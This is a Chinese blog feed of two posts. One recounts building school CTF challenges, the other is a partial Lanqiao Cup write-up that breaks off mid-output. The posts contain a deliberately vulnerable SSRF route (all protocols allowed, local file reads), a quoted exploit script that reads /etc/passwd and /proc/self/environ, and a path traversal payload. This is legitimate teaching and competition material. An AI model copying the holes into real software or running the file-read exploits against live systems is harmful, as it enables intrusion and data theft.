然后很快我就发现一个问题,requests 库不支持 dict:// 协议,而 httpx 库也是一样的 于是我就去看有没有什么现成的库能够实现 Python3 对 dict:// 协议的支持,但是找到的基本都是 Python2 的 这时,我突然想起了我们平时用的 curl,我在想这东西有没有可能支持 dict:// 协议,然后我试了一下,果然可以,于是我的目标就转向了 curl 最开始我是用 os.popen 来运行 curl 的,但是好像有点问题,它会带着 curl 的那个请求时间什么的信息出来 1 2 3 4 5 >>> os.popen("curl https://baidu.com").read() % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 161 100 161 0 0 482 0 --:--:-- --:--:-- --:--:-- 487 '<html>\n<head><title>302 Found</title></head>\n<body bgcolor="white">\n<center><h1>302 Found</h1></center>\n<hr><center>bfe/1.0.8.18</center>\n</body>\n</html>\n' 然后我还得自己手动处理,这会变得比较麻烦,后面查了一下发现有个 pycurl 库可以用 于是就有了第二版的路由 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 @app.route("/api/get_resource", methods=["POST"]) def resource_handler(): try: data = request.get_json() target_url = data.get("url") # 移除所有协议和端口限制 parsed = urllib.parse.urlparse(target_url) buffer = BytesIO() c = pycurl.Curl() # 全协议支持配置 c.setopt(pycurl.URL, target_url.encode("utf-8")) c.setopt(pycurl.WRITEDATA, buffer) c.setopt(pycurl.PROTOCOLS, pycurl.PROTO_ALL) # 允许所有协议 c.setopt(pycurl.SSL_VERIFYPEER, 0) c.setopt(pycurl.SSL_VERIFYHOST, 0) c.setopt(pycurl.TIMEOUT, 15) c.setopt(pycurl.FOLLOWLOCATION, 1) # 允许重定向 c.setopt(pycurl.MAXREDIRS, 5) # 特殊协议处理 if parsed.scheme == "file": c.setopt(pycurl.UNRESTRICTED_AUTH, 1) # 允许本地文件访问 c.setopt(pycurl.PATH_AS_IS, 1) # 保留路径格式 # 执行请求 c.perform() # 获取原始响应 content = buffer.getvalue().decode("utf-8", errors="replace") status_code = c.getinfo(pycurl.RESPONSE_CODE) # 统一响应格式 return jsonify( { "code": status_code, "success": 200 <= status_code < 400 or status_code == 0, "data": {"url": target_url, "content": content}, } ) except pycurl.error as e: return jsonify( { "code": 500, "success": False, "data": {"url": target_url, "content": f"CURL Error: {e.args[1]}"}, } ) except Exception as e: return jsonify( { "code": 500, "success": False, "data": {"url": target_url, "content": str(e)}, } ) finally: if "c" in locals(): c.close() buffer.close() 然后不出意外地就出意外了,file 协议有问题,然后我就把 file 单拎出来处理了(直接 open,read,返回) 最后完成了我的题目代码,进入了调试阶段 第一题还是很正常的,到了第二题我发现了一个问题 他喵的为什么我的 shell 反弹不出来啊喂!!! 然后我去搜了一下这个玩法大伙都是怎么玩的,看到了这么一条东西 没错,这个玩法要 CentOS,只有 CentOS 会忽略 crontab 文件里面的错误,挑出正确的来执行 那——好吧,我去换个系统不就完事了呗 这不换不要紧,一换就出事了 CentOS 停更了呀喂!!! 就导致了我 Dockerfile 最开头的 yum 根本就装不到依赖,找了一下得把镜像源的域名改成 vault.centos.org 才行 搞定了镜像源,又遇到了 Python 版本的问题,CentOS 预装 Python 3.6,这东西太老了,我的 Werkzeug==2.1.2 在 3.6 根本就装不上,然后我想的是那我就弄一个现场编译 Python 3.9 的呗,但是还是依赖问题,编译频频出错,直到我找到了有现成的 https://github.com/indygreg/python-build-standalone/releases/download/20230726/cpython-3.9.17+20230726-x86_64-unknown-linux-gnu-install_only.tar.gz 于是我直接从这里下载,然后创建软链接,才解决了 Python 的问题,测试了一下,这题终于出好了……嘛? 出题:Dino 到了我们要差不多上题测试的时间了,我们逐渐发现 Web 题没有最简单的那种题——F12 查看 flag,于是我又去弄了这一题 Dino 来玩经典的小恐龙吧! 题目源码:https://github.com/GDUTMeow/Challenge-Dino 这里我本来想用 2048 的,但是 2048 的 js 和 css 什么的太多了,而且整个 html 的代码量是偏大的,不适合宝宝巴士 然后我突然想起来谷歌小恐龙,于是就拿着小恐龙的代码出了这一题,简单的文本替换而已 出题:ez_traffic 流量分析很简单哦! 原题附件:https://github.com/GDUTMeow/Challenge-eztraffic 这题本来没想出的,但是群里面当时大伙这样说 然后我就出了一道宝宝 traffic,我直接在我的电脑上开了个 Python 的 http.server,然后用我上面 CS 那道题的虚拟机抓的包,用这台机子访问我的 http.server 然后下载我含有 flag 的图片就搞定了 出题:为什么要演奏春日影! 为什么要演奏春日影! Luminoria 听了春日影这首歌后,决定将 Soyo 的金句用工具写进春日影中,来帮助修复 Soyo 的心理阴影(真的修复了吗 最后 Luminoria 决定使用一个跟深度求索公司具有同样开头 Deep 的一个工具来将金句写入到春日影这首歌中 Soyo: (冲向 Saki 酱,抓住她的手)「拜托了,求求你,要是没有 Saki 酱的话,我就…」 Saki:「放开我 」 Soyo:(跪下来求)「要我怎样做你才肯回来,只要是我能做的,我什么都愿意做 」 Saki:(不屑)「你是抱着多大的觉悟说出这样的话的?」 「你只不过是一个学生,有办法背负他人的人生吗?」 「“什么都愿意做”就是这么沉重的话。不要这么随便说出口。 」 Soyo:「但是,我真的…」 Saki:(甩开手)「你这个人,满脑子只会想到自己呢」(走开 ) Soyo:(跪在原地) 天空中下起了小雨,睦头人看着 Soyo,一言不发 这题是因为刚好在听春日影 var ap = new APlayer({ element: document.getElementById("aplayer-WBoieLpg"), narrow: false, autoplay: false, showlrc: false, music: { title: "春日影", author: "CRYCHIC", url: "https://music.163.com/song/media/outer/url?id=2154464431.mp3", pic: "https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/109951169577745503.jpg", lrc: "" } }); window.aplayers || (window.aplayers = []); window.aplayers.push(ap); 而且发现 MISC 题目里面没有音频隐写,于是就出了这个题目 最开始本来想在频谱图里面塞 flag 的, 但是没有找到怎么在频谱图里面塞(经典会做题不会出题了),所以没办法 然后我尝试使用 MP3Stego 和 SlientEye,但是不知道为什么,我用 ffmpeg 转换出来的 wav 音频丢进这两个软件都无法识别是 wav 文件,不是少这个就是少那个 后来我就用 Deepsound 了,直接把 flag 文件塞进去就完事了 本来还想给 Deepsound 设置密码,但是我发现 wav 的备注无法在文件属性里面显示,所以只能不塞密码了,刚好也是宝宝巴士了 出题:Data Analysis 原题附件:https://github.com/GDUTMeow/Challenge-Data-Analysis 所有数据均为随机生成 校验规范 编号:纯数字,最后应该从小到大排列 用户名:由数字、字母组成 密码:密码 hash 值为 32 位小写 md5 值 姓名:由全中文组成 性别:只能为 男 或者 女,且身份证号中代表性别的那一位要对应上 出生日期:由 8 位数字组成,和身份证号中的出生日期码保持一致 身份证号:应该符合国家对于身份证号的校验规则,本题中提供的身份证号均符合规则 手机号码为 11 位 10 进制数字字符串,前三位的号段限定在以下的集合中 734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799 题目要求 你应该将每一行都变成与表头相同的顺序排列,表头顺序为 编号, 用户名, 密码, 姓名, 性别, 出生日期, 身份证号, 手机号码,对应 number username password name gender birth id phone 例如,假设你拿到的数据为(下面数据为瞎编的) 1 2 3 4 编号,用户名,密码,姓名,性别,出生日期,身份证号,手机号码 Luminoria,79811451419,114514200002291919,20000229,小猪佩奇,1,男,e10adc3949ba59abbe56e057f20f883e 20050330,2,c4d038b4bed09fdb1471ef51ec3a32cd,7529876543,男,191981200503301155,刻晴,KeqingMoe 则最后你应该把数据变成这样 1 2 3 4 number,username,password,name,gender,birth,id,phone 1,Luminoria,e10adc3949ba59abbe56e057f20f883e,小猪佩奇,男,20000229,114514200002291919,79811451419 2,KeqingMoe,c4d038b4bed09fdb1471ef51ec3a32cd,刻晴,男,20050330,191981200503301155,7529876543 将数据以 UTF-8 编码方式保存后,确保最后含有一行空行,将文件内容进行 md5 运算,最后得到的值加上 flag{} 包裹即为最后的答案 注意 你的换行应该使用 \n,你可以在调试的时候使用 print(repr(data)) 来确认这一点 在你进行 md5 运算的文件内容中,最后有一个空行,就例如上面给你处理后的例子中,最后一行有一个空行 你进行 md5 运算的文件内容中,你需要注意不要忘掉首行的表头 本来 DS 只有一道题目的,但是考虑到要每一批都至少有一个吧,所以就整多了两道 DS 的题目 这里的数据是用的 2024 羊城杯的数据(没办法它数据太好看了) 做法跟羊城杯的完全一致,出了没有验数据的平台和我把标头改了而已,因为一点不一样就会导致 md5 完全不一样,所以我对数据格式的要求也比较的严格 改了改就出了这道题目了 出题:Data from Log 原题附件:https://github.com/GDUTMeow/Challenge-Data-Analysis 所有数据均为随机生成 现在发生了一件很不幸的事情,数据库里面的数据丢失了,我们无法通过数据库来获取需要的内容,所幸的是,阿帕奇的 log 还在 题目要求 现在你需要做下面的这些事情 首先,你得从日志中还原出各个用户输入的个人信息,他们包含了 用户名:只能由字母和数字组成 正确示例:admin、Luminoria、KeqingMoe、h3ll0World 错误示例:ad_min、Zhang_san 姓名:全中文 正确示例:张三、李四 错误示例:z三、李4 身份证号:固定为 18 位,符合国家关于身份证的校验规则(本题不设置性别校验) 手机号码:为 11 位数字字符串,其中前三位固定在下面的集合中 734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799 密码:由数字和字母组成,没有符号 接着,你要对数据进行脱敏 用户名:若只有两个字符则只对最后⼀位使⽤ * 号代替,否则只保留第⼀位和最后⼀位字符,其余都⽤ * 号代替,例如“ab”脱敏后就是“a*”,“abcde”脱敏后就是“a***e”。 密码:对明文密码进行 md5 计算,例如 123456 计算后为 e10adc3949ba59abbe56e057f20f883e 名字:⼆字姓名对最后⼀位使⽤ * 号代替,三字即以上姓名除第⼀位和最后⼀位以外都使⽤ * 号代替, 例如 张三 脱敏后就是 张*,王不⼆ 脱敏后就是 王*⼆ 身份证号:只保留年份,其余都使⽤ * 号代替,例如 172865199108200356 脱敏后就是 ******1991******** 手机号码:对 4-7 位的地区编码使⽤ * 号代替,例如 74580417166 脱敏后就是 745****7166 最后,你应该将脱敏后的所有数据按照 username, password, name, idcard, phone 对应 用户名、密码、名字、身份证号、手机号码 的顺序,将所有数据按照 UTF8 编码方式保存,文件的最后应该有一行空行 表头应该为 username,password,name,idcard,phone 注意 你的换行应该使用 \n,你可以在调试的时候使用 print(repr(data)) 来确认这一点 你进行 md5 运算的文件内容中,你需要注意不要忘掉首行的表头 这题也是 2024 羊城杯的数据,而且是原题,我改都没改,要求都跟羊城杯的一致 还是因为每一批都要有一题,所以拿过来直接用,当然因为我懒没有写数据校验平台,所以就……嗯 出题:Is It Really Secure?? 还是因为每一批都要有一题,所以我打算给取证加多一题 原题附件:https://github.com/GDUTMeow/Challenge-Is-It-Really-Secure 这题用的是 FTP,因为 FTP 具有明文传输的特性,所以其数据流很容易就能分析,而且也很容易拿到里面的文件 我先用我的服务器搭了一个 FTP 服务 1 $ docker run -d -v /home/gamernotitle/docker/vsftpd:/home/vsftpd -v /var/log/vsftpd/:/var/log/vsftpd/ -p 20:20 -p 21:21 -p 20000:20000 -e FTP_USER=Luminoria -e FTP_PASS=my-Str0ng_p@55w0Rd -e PASV_MIN_PORT=20000 -e PASV_MAX_PORT=20000 -e PASV_ADDRESS=192.168.88.128 -e LOG_STDOUT=1 --name vsftpd --restart=always fauria/vsftpd 这样就可以打开这个 ftp 服务,但是我用抓流量专用机(上面 CS 的机子)抓的时候,发现一直会弹连接被重置,但是这是内网,所以肯定不是我网络的问题 然后我尝试了一下 Filezilla,看到了更详细的内容,它推荐我使用 PASV_MODE 试试,于是我把 PASV_MODE 打开了,就可以了 然后就是正常的抓流量环节 这次为了与第一题进行区分,我还加了伪加密 zip 包 我把 flag 的二维码丢在了 zip 里面,然后用 010 Editor 更改了标头,让这个 zip 包进入伪加密的状态,把伪加密破了就能出 flag 了 修题:登录 PRTS 2 起因是群里 rkk 说有一个更简单的做法 sekaictf-2024 的 exp 是这样写的 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import threading import socket from urllib.parse import urlparse paths = ["/etc/passwd", "/proc/self/environ", "/proc/self/fd/20"] pat = "HOSTNAME=" t = [] def req(url): parsed_url = urlparse(url) hostname = parsed_url.hostname path = parsed_url.path if parsed_url.path else "/" query = parsed_url.query port = parsed_url.port if parsed_url.port else 80 client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((hostname, port)) request_line = f"GET {path}?{query} HTTP/1.1\r\n" headers = f"Host: {hostname}\r\nConnection: close\r\n\r\n" request = request_line + headers client_socket.sendall(request.encode()) response = b"" while True: part = client_socket.recv(4096) if not part: break response += part client_socket.close() response_text = response.decode() header_end = response_text.find("\r\n\r\n") body = response_text[header_end + 4 :] return body def check(url): res = req(url) if pat in res: print(res) def et(payload): while True: try: check("http://localhost:1337/?file=" + payload) except Exception as e: print(e) for i in range(5): for p in paths: t.append(threading.Thread(target=et, args=(p,))) for i in t: i.start() 而我当时出题的时候没有注意 /proc 这个特殊目录的问题,所以导致直接请求读取 /proc/self/environ 就能够出第二题的 flag 甚至甚至,拿着第一题的目录穿越任意文件读取都能够得到 flag,那这就是非预期解了,所以我加入了更多的权限校验,例如如果有 /proc 就直接 403,还有对普瑞赛斯的身份进行校验(下面是一个小片段 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 @app.route("/api/get_resource", methods=["POST"]) def resource_handler(): token = request.cookies.get("token") if not token: return redirect("/login") try: jwt_data = jwt.decode( token, app.config["SECRET_KEY"], algorithms=["HS256"], options={"verify_aud": False}, ) if jwt_data.get("sub") != "priestess": return make_response("Permission Denied", 403) except jwt.ExpiredSignatureError: response = redirect("/login") response.set_cookie("token", "", expires=0) return response except jwt.InvalidTokenError: response = redirect("/login") response.set_cookie("token", "", expires=0) return response ... try: if parsed.scheme == "file": # 因为改用 CentOS 后 curl 的版本太低了没有 PATH_AS_IS 选项,所以这里进行手动处理 if "/proc" in parsed.path: return jsonify( { "code": 403, "success": False, "data": {"url": target_url, "content": "Permission Denied"}, } ) ... 然后才把这个地方给堵上了 出题总结 怎么说呢,我真佩服我自己点子那么多 当然本次出题也出现了考虑不周全的问题,还有就是对环境不熟悉的问题(上面 CentOS 那个),不过这次出题确实出爽了,有简单的,也有难的 出题跟做题都是很有意思的事情,下次继续(诶嘿 现在就等比赛开始了,比赛打完了再来更下面吧 比赛中 这次比赛我们班其实有三个队伍,但是说实在的他们都比较小白,体现在什么方面呢?逆向没有 IDA,流量分析没有 Wireshark,就最基础的这些工具其实我们班的兄弟们也不知道,但是我是出题的我也不可能跟他们说这些东西 本次比赛的难度分级为 Easy < Normal < Hard < Expert < Master 第一批 第一批里面我的题是相对简单的,给了 [easy] 签个到吧(关注公众号发关键词,上面没写) [easy] Dino(F12 看注释) [easy] ez_traffic(wireshark 打开后直接导出 HTTP 文件) [easy] 为什么要演奏春日影(Deepsound 提取文件) [easy] 你真的懂 Base 嘛(Base 大杂烩) [easy] Data Cleaning(数据清理,脚本题) 其中签到不必多说,Dino 也是上来就出了,这两个算比较简单的 其次是 ez_traffic 和 Data Cleaning,因为说实话,只要懂得处理拿到的文件就能够拿分,这两题,所以也是偏简单的 比较好玩的应该是春日影那个题,各种各样的 flag 都出来了 我承认你对本番的理解很到位,但是这不是正确答案 =-= 不过最令我惊奇的是 Base 大杂烩难倒了好多人,我原本的想法就是如果你去搜 Twitter Base 2048,很容易搜到 Base2048 这个东西,然后写一个简单的 Python 脚本先脱 2048 这一层 1 2 3 4 5 6 import base2048 with open("base.txt", "rt", encoding="utf8") as f: data = f.read() decoded_data = base2048.decode(data) print(decoded_data.decode()) 然后再去搜 Base 一把梭 搜到 Basecrack,直接就能够用 basecrack 解开这个大杂烩 但是好像我们的参赛选手好像不知道后面还有,认为解开 2048 出来的那串字符串就是 flag,然后就交上去了,所以就能看到这样的提交记录 到了大概 23:45 的时候,看着还是没人出,我就给了三个提示 💡提示1:将内容从乱码变成一串由 ASCII 字符组成的字符串后还有步骤,脱离不开题目名字,关注一下题目的最后一句话 💡提示2:当你解出来的内容是以 flag{ 开头的,那你就得到 flag 了 💡提示3:flag 是有意义的一句话 因为第二天要打蓝桥杯了(蓝桥的网安是屎,别报!信我!),所以我睡得比较早,早上起来一看已经有两个队伍做出来了,挺好的 第二批 第二批我给的题目有这些 [easy*2] [normal] Herta’s Voidterm [normal] [hard] 登录 PRTS [easy] Data Analysis [easy] Is It Really Secure?? 当我打完蓝桥杯的时候,登录 QQ 和微信发现群里有人艾特我,说 PRTS 题目出了问题 一看,发现是我忘记删掉注释了 好吧,重新弄了一下上线了…… 我其实没太想到本次的 Herta’s Voidterm 能够难住不少人 第一问很简单,env 一下就出来了,这个没啥问题,但是第二问好像大伙都不知道域名还有 TXT 类型记录可以用来存内容 后面也是加了点提示 然后第三问因为我看到提交记录里面有交 AES 的向量的 于是我也给第三问来了点提示 说到简单题,还有一个简单题 Is It Really Secure??,我特意在 ftp 里面留了坑,我的 ftp 认证密码是 my-Str0ng_p@55w0Rd 然后真有队伍交了 flag{my-Str0ng_p@55w0Rd} 看来这坑没白埋 (*^▽^*) 当然,还有中第二个坑的 估计可能大伙不知道什么叫 ZIP 伪加密吧 不过这一部分最令我开心的应该是 PRTS 有人做,而且有人出(虽然只出了第一题) 然后有个哥们想复杂了 我寻思我也没有 import pickle 啊 🤔 当然,在多方面的提示下,有一个队伍出了 PRTS 2 有人能对上电波我还是很开心的,不仅这题,黑塔终端 3 也有人对上电波了 可能是一张图两用太难想了?还有就是估计很多队伍第一问看到 SECRET 没当回事 Data Analysis 那个题目,我题目的要求是对内容进行 md5 计算,不过我当时是把文件丢进赛博厨子计算的,然后可能是不同系统对剪贴板的处理不一样,有人用 macOS 在数据正确的前提下出了错误的答案 看来下次还是不能省掉检验用的那个网页 =-= 第三批 第三批是难度比较高的,我的题目有这些 [expert*2] [master] Play CS with Me [normal] Data from Log 因为劳动节补课,周日要上课,原定周日早上十点放题目的,放到了周六晚上七点放了 这里首先要给参赛选手道歉的是,我在题目 Data from Log 的附件里面给的 README.md 写的跟题目详情页面不一样,在这里向各位道个歉 orz Data from Log 涉及到了从阿帕奇的日志中恢复数据,这题是从羊城杯偷的,所以数据上没什么好说的 不过让我欣喜的是 Play CS with Me 没有爆零,第一题有人在提示下出了 这个搜索能力挺不错的,在这里表扬一下 (๑•̀ㅂ•́)و✧ 当然也少不了跳我挖好的坑 说实话,我也想改这个 evil.exe 为其他更具有迷惑力的名字,但是不管我怎么保存那个代表 beacon 的 hta 文件,这里都不会变,可能是 hta 类型文件最后在这里显示固定为 evil.exe 吧,这点我确实不太清楚 接着这个队伍又继续攻克第二问,但是但是,他们找的教程实在是……戛然而止 他们找的是这一篇:https://www.freebuf.com/articles/system/327060.html 然后我还是提醒了一嘴 他们应该是搜到后续了,快出了——确实出了,最后一分钟 好极限,恭喜这个队伍用 Play CS with Me 1 和 2 超过了原来的第一 收 Writeup 比赛完了以后最爽的应该是看各个队伍的 wp 了,看看他们有没有按照我们预定的思路去做题,其实大部分都是按照我的想法来的,不过也有一些跟我用的工具不太一样 例如说 base 那个题目,有一队就用的不是 basecrack 而是用的随波逐流,也是让我第一次知道随波逐流还有这功能了 总结 所以以上就是本次出题的经历啦,后面应该还会出更多的题目的٩(๑^o^๑)۶ 下次再有出题的话再写这样的记录吧 题目源码 【MISC】Herta’s Voidterm https://github.com/GDUTMeow/Challenge-Hertas-Voidterm 【DS】Data from Log https://github.com/GDUTMeow/Challenge-Data-from-Log 【Web】登录 PRTS https://github.com/GDUTMeow/Challenge-Login-PRTS 【Forensic】Is It Really Secure?? https://github.com/GDUTMeow/Challenge-Is-It-Really-Secure 【DS】Data Analysis https://github.com/GDUTMeow/Challenge-Data-Analysis 【DS】Data Cleaning https://github.com/GDUTMeow/Challenge-DataCleaning 【MISC】为什么要演奏春日影! https://github.com/GDUTMeow/Challenge-Haruhikage 【Web】Dino https://github.com/GDUTMeow/Challenge-Dino 【Forensic】ez_traffic https://github.com/GDUTMeow/Challenge-eztraffic 【Crypto】你真的懂 Base 嘛 https://github.com/GDUTMeow/Challenge-Do-You-Really-Know-Base 【Forensic】Play CS with Me https://github.com/GDUTMeow/Challenge-Play-CS-with-Me

2025/5/4
articleCard.readMore

第十六届蓝桥杯省赛个人 Writeup

先吐槽一波:初赛不让上网查资料是人打的嘛,真就初赛即决赛???还不是传统出题法,你那堆分类谁第一眼能看出来是什么题目啊??? 我不信这比赛没有人用黄色版 CTF-all-in-One 好吧,一题出来了以后一堆人跟着出,一分钟内零解题出 5 个人是吧 然后说是不让用网,结果又发通知说有一题可以用 =-= 好好好玩我呢是吧 累了,事不过三,以后不报蓝桥了。蓝桥参加第三次了,前两次 Python 算法,今年第一次参加网安,太抽象了 我 TM 周末早八起来到底是为了啥哟 (┬_┬) 我的评价是:不如 CCSSSC,人平台虽然屎但是人比赛办的还不错啊,建议你下次别办 【数据分析】flowzip There are many zip files. 打开流量包发现大量 HTTP 请求,里面包含 100 个 zip 文件 高端的食材,往往只需要最朴素的烹饪方式 直接用 strings 提取 1 $ strings .\flowzip.pcapng | grep flag 得到 1 jpkwz.txtflag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}PK 所以 flag 为 flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b} 【数据分析】ezEvtx EVTX文件是Windows操作系统生成的事件日志文件,用于记录系统、应用程序和安全事件。 (本题需要选手找出攻击者访问成功的一个敏感文件,提交格式为flag{文件名},其中文件名不包含文件路径,且包含文件后缀) 用 ELX 打开,搜索 access an object 就得到了 访问的文件为 C:\Admin\confidential.docx,所以 flag 为 flag{confidential.docx} 【情报收集】黑客密室逃脱 你被困在了顶级黑客精心设计的数字牢笼中,每一道关卡都暗藏致命陷阱!唯一的逃脱之路,是破解散落在服务器各处的加密线索,找到最终的“数字钥匙”。 开局让我们看日志 访问得到线索 线索1:d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1 秘密区域告诉我们有文件读取 输入 /file?name=../../../../../../app/app.py 得到源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import os from flask import Flask, request, render_template from config import * # author: gamelab app = Flask(__name__) # 模拟敏感信息 sensitive_info = SENSITIVE_INFO # 加密密钥 encryption_key = ENCRYPTION_KEY def simple_encrypt(text, key): encrypted = bytearray() for i in range(len(text)): char = text[i] key_char = key[i % len(key)] encrypted.append(ord(char) + ord(key_char)) return encrypted.hex() encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key) # 模拟日志文件内容 log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}" # 模拟隐藏文件内容 hidden_file_content = f"解密密钥: {encryption_key}" # 指定安全的文件根目录 SAFE_ROOT_DIR = os.path.abspath('/app') with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f: f.write(hidden_file_content) @app.route('/') def index(): return render_template('index.html') @app.route('/logs') def logs(): return render_template('logs.html', log_content=log_content) @app.route('/secret') def secret(): return render_template('secret.html') @app.route('/file') def file(): file_name = request.args.get('name') if not file_name: return render_template('no_file_name.html') full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name)) if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path: return render_template('no_premission.html') try: with open(full_path, 'r') as f: content = f.read() return render_template('file_content.html', content=content) except FileNotFoundError: return render_template('file_not_found.html') if __name__ == '__main__': app.run(debug=True, host='0.0.0.0') debug = True,想访问 /console,打不开 看到有 hidden.txt 1 2 3 4 # 指定安全的文件根目录 SAFE_ROOT_DIR = os.path.abspath('/app') with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f: f.write(hidden_file_content) 得到解密密钥 根据题目给的 simple_encrypt 函数 1 2 3 4 5 6 7 def simple_encrypt(text, key): encrypted = bytearray() for i in range(len(text)): char = text[i] key_char = key[i % len(key)] # key=secret_key7434 len(key)=14 key_char=从左到右依次取 encrypted.append(ord(char) + ord(key_char)) return encrypted.hex() 自己写一个解密的脚本 1 2 3 4 5 6 7 8 9 10 11 12 SECRET = bytearray.fromhex('d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1') key = "secret_key7434" decrypted = bytearray() for i in range(len(SECRET)): char = SECRET[i] key_char = key[i % len(key)] decrypted.append(char - ord(key_char)) print(decrypted) 解出来得到 flag flag{6d037fe6-0329-449a-b529-71142b80a470} 【数据库安全】crawler(未出) 一个简单的爬虫系统,测测它的安全问题吧! 是一个用 PHP 写的系统,Cookie 里面有 PHPSESSID 打开是个登录页面,发现只有使用用户名为 admin 登录的时候会弹提示为 ❌ 用户名或密码错误,其他用户名都是 ❌ 登录失败 爆破不出来,尝试一下 sql 注入,用 sqlmap 浅浅测一下,发现 sqlmap 说无法注入 那好吧,我确实没思路了 【密码破解】easy_AES(未出) 题目采用的是传统的AES加密,但是其中的key似乎可以通过爆破得到,你能找到其中的问题,解密出敏感数据吗? 题目给了源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from Crypto.Cipher import AES # 导入AES加密模块 from secret import flag # 从secret模块导入flag(假设为明文) import random, os # 导入random和os模块用于随机数生成 # 为消息填充字节,使其长度为16的倍数 def pad(msg): return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)]) # 对密钥进行随机置换,生成新密钥 def permutation(key): tables = [hex(_)[2:] for _ in range(16)] # 生成0-15的十六进制表(去掉"0x"前缀) random.shuffle(tables) # 随机打乱表 newkey = "".join(tables[int(key[_], 16)] for _ in range(len(key))) # 根据原密钥生成新密钥 return newkey # 生成初始密钥key0及其置换密钥key1 def gen(): key0 = os.urandom(16).hex() # 随机生成16字节密钥并转为十六进制字符串 key1 = permutation(key0) # 对key0进行置换生成key1 return key0, key1 # 使用key0和key1进行双重AES加密 def encrypt(key0, key1, msg): aes0 = AES.new(key0, AES.MODE_CBC, key1) # 用key0加密,key1作为CBC模式的IV aes1 = AES.new(key1, AES.MODE_CBC, key0) # 用key1解密,key0作为CBC模式的IV return aes1.decrypt(aes0.encrypt(msg)) # 先加密后解密生成密文 # 生成密钥对 key0, key1 = gen() a0, a1 = int(key0, 16), int(key1, 16) # 将密钥转为整数 gift = a0 & a1 # 计算key0和key1的按位与,作为泄露信息 cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag)) # 加密填充后的flag print(f"gift = {gift}") print(f"key1 = {key1}") print(f"cipher = {cipher}") ''' gift = 64698960125130294692475067384121553664 key1 = 74aeb356c6eb74f364cd316497c0f714 cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6' ''' 出题人是不是懒得写代码了,这代码 AI 味也太浓了,连 (假设为明文) 都出来了(第二行) 首先可以看到题目生成了一对密钥,其中 key0 是随机生成的,key1 是通过 key0 中的内容随机编排而成的 然后再加密解密的过程中,key0 和 key1 会分别作为密钥和向量 iv 进行加解密,过程大概是 对 msg 用 key=key0, iv=key1 进行 AES 加密,在对结果用 key=key1, iv=key0 进行 AES 解密,得到了题目给我们的 cipher cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6' 所以如果要反着来,就得要用 key=key1, iv=key0 先进行 AES 加密,再对其结果用 key=key0, iv=key1 进行 AES 解密才能得到我们的明文 然后现在的问题是 key0 未知,题目说可以爆破,但是题目给的条件说实话我不太会用 题目给了个 gift,然后这个 gift 是通过 a0 & a1 产生的(按位与) 然后?就么有然后了……真不会利用这个 gift 【密码破解】ECBTrain(未出) AES的ECB模式存在很明显的缺陷。你能否尝试以admin身份完成本题挑战? 题目给了容器,nc 进去有注册、登录、退出三个选项 1 2 3 4 5 6 7 8 9 10 11 12 13 ╰─ nc 39.105.2.63 20628 _____ _____ ______ _____ _ | ___/ __ \| ___ \_ _| (_) | |__ | / \/| |_/ / | |_ __ __ _ _ _ __ | __|| | | ___ \ | | '__/ _` | | '_ \ | |___| \__/\| |_/ / | | | | (_| | | | | | \____/ \____/\____/ \_/_| \__,_|_|_| |_| 请选择操作: 1. 注册 2. 登录 3. 退出 请输入选项编号: 其中,注册不能够以用户名 admin 注册,我先用用户名 user,密码 123 注册得到 1 2 3 4 请输入选项编号: 1 请输入用户名: user 请输入密码: 123 注册成功!你的auth为: eHDaWi860uwUt/Khad7iSw== 而当我用登录,会这么说 1 2 3 4 5 6 7 8 9 请选择操作: 